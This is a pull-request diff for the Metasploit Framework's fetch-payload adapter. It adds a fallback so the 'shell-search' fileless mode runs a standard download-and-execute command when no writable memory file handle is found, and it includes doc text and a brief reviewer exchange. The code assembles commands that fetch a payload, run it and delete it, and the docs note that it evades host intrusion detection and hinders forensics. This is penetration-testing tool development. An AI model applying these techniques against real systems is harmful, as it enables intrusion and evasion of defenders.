Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 5 additions & 1 deletion docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md
Original file line number Diff line number Diff line change
Expand Up @@ -82,7 +82,11 @@ served payload is the same.
`FETCH_FILELESS` is an option that specifies a method to modify the fetch command to download the binary payload to
memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are
two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above.
This option is only available when the platform is Linux.
This option is only available when the platform is Linux. It should be noted that when using `shell-search`, the fetch command
searches for anonymous file handle it can write to and in some restricted systems or with low-privileged user, it might not find
a file handle it can write to. For that reason, the `shell-search` fetch command contains a fail-safe mechanism, which adds
a standard fetch command as backup. This means that if `shell-search` fetch command cannot find a suitable anonymous
file handle, it execute standard fetch command that downloads the adapted payload.

`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
supported by every binary and must end in `.exe` on Windows hosts. The default value is random.
Expand Down
10 changes: 7 additions & 3 deletions lib/msf/core/payload/adapter/fetch.rb
Original file line number Diff line number Diff line change
Expand Up @@ -362,11 +362,15 @@ def _execute_win(get_file_cmd)
# @return [String] The command updated for POSIX execution.
def _execute_nix(get_file_cmd)
return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell'
return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search'
return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+'

if datastore['FETCH_FILELESS'] == 'shell-search'
cmds = _generate_fileless_bash_search(get_file_cmd)
cmds << get_file_cmd
else
cmds = get_file_cmd
end


cmds = get_file_cmd
cmds << ";chmod +x #{_remote_destination_nix}"
cmds << ";#{_remote_destination_nix}&"
cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
Expand Down
3 changes: 2 additions & 1 deletion lib/msf/core/payload/adapter/fetch/fileless.rb
Original file line number Diff line number Diff line change
Expand Up @@ -323,12 +323,13 @@ def _generate_fileless_bash_search(get_file_cmd)
cmd << "; then if $(#{get_file_cmd} >/dev/null)"
cmd << '; then $f'
cmd << '; FOUND=1'
cmd << '; break'
cmd << '; exit 1'

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

what's the reason for this change here?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

When the shell-search fails, it should exit the loop and execute the fail-safe fetch command. If there would be only break and shell-search would succeed, it would execute fail-safe regardless. To avoid too much of additional code, the shell-search exits when executed.

cmd << '; fi'
cmd << '; fi'
cmd << '; done'
cmd << '; fi'
cmd << '; done'
cmd << ';'

cmd
end
Expand Down
Loading